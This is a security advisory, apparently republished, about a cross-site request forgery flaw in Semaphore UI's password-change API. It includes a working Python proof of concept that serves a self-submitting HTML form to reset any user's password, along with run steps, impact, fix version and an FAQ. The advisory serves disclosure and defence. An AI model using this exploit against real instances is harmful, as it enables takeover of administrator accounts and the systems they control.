GHSA-8cj9-r88m-8945: CSRF

Published Sep 3, 2026
·
Updated

Summary

The password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20.

Details

The password change endpoint of Semaphore UI does not implement any CSRF protection:

- No CSRF token required - No current password confirmation required - Authentication relies solely on a session cookie (semaphore) with no SameSite enforcement

A malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users/<id>/password forms.

PoC

To reproduce the exploit, you can use the following python script:

python import logging import argparse import time import sys import os from http.server import SimpleHTTPRequestHandler, HTTPServer

logging.basicConfig(filename=None, level=logging.DEBUG,format='%(asctime)s - %(message)s')

def forgemaliciouspage(target, userid, newpassword): return f""" <html> <body>

<form id="CSRFPOC" action="{target}/api/users/{userid}/password" enctype="text/plain" method="POST">

<input type="hidden" name='{{"password": "{newpassword}", "projectid": 1}}' value='//}}' /> </form> <script> document.getElementById("CSRFPOC").submit(); </script>

</body> </html> """;

parser = argparse.ArgumentParser() parser.addargument("-i","--userid",type=int, help="user id to change password", required=True) parser.addargument("-u","--uri", help="Base uri to target", required=True) parser.addargument("-n","--newpassword", help="new password to set", default='passwordchanged') parser.addargument("-p","--port", help="Port to run server", default=1337) args = parser.parseargs()

class Handler(SimpleHTTPRequestHandler): def doGET(self): logging.info("Client: %s | Methode: %s | Chemin: %s | Query: %s" % (self.clientaddress[0], self.command, self.path, self.path.split('?')[1] if '?' in self.path else 'None')) content=forgemaliciouspage(args.uri,args.userid, args.newpassword).encode() self.sendresponse(200) self.sendheader("Content-Type", "text/html; charset=utf-8") self.sendheader("Content-Length", str(len(content))) self.endheaders() self.wfile.write(content)

httpd = HTTPServer(("", args.port), Handler) logging.info("[] Serving at port "+str(args.port))

httpd.serveforever()

Example : bash python poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337

1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337. 2 - Connect to semaphore UI in another tab with the targeted user. 3 - In the same browser, visit the malicious website (ex: localhost:1337). 4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password passwordchanged.

Impact

This is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.

Affected Software

1 affected componentFixes available
go/github.com/semaphoreui/semaphore<0.0.0-20260707190631-c59c3dc9035b
0.0.0-20260707190631-c59c3dc9035b

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/semaphoreui/semaphore to a version that resolves this vulnerability.

    Fixed in 0.0.0-20260707190631-c59c3dc9035b

Event History

Sep 3, 2026
Advisory Published
via GitHub·07:23 PM
Data Sourced
via GitHub·07:23 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which users are realistically exposed?

Any authenticated Semaphore UI user who visits an attacker-controlled website can have their password changed, including an administrator. The attack relies on the victim having an active Semaphore session cookie.

2

What must an attacker do to exploit this issue?

The attacker must induce a logged-in user to visit a malicious page that submits a request to the password-change API endpoint. No CSRF token or current-password confirmation is required for the request.

3

Are browser cookie protections preventing the cross-site request?

No. The Semaphore session cookie is described as having no SameSite enforcement, so it can be relied upon by the forged cross-site password-change request.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203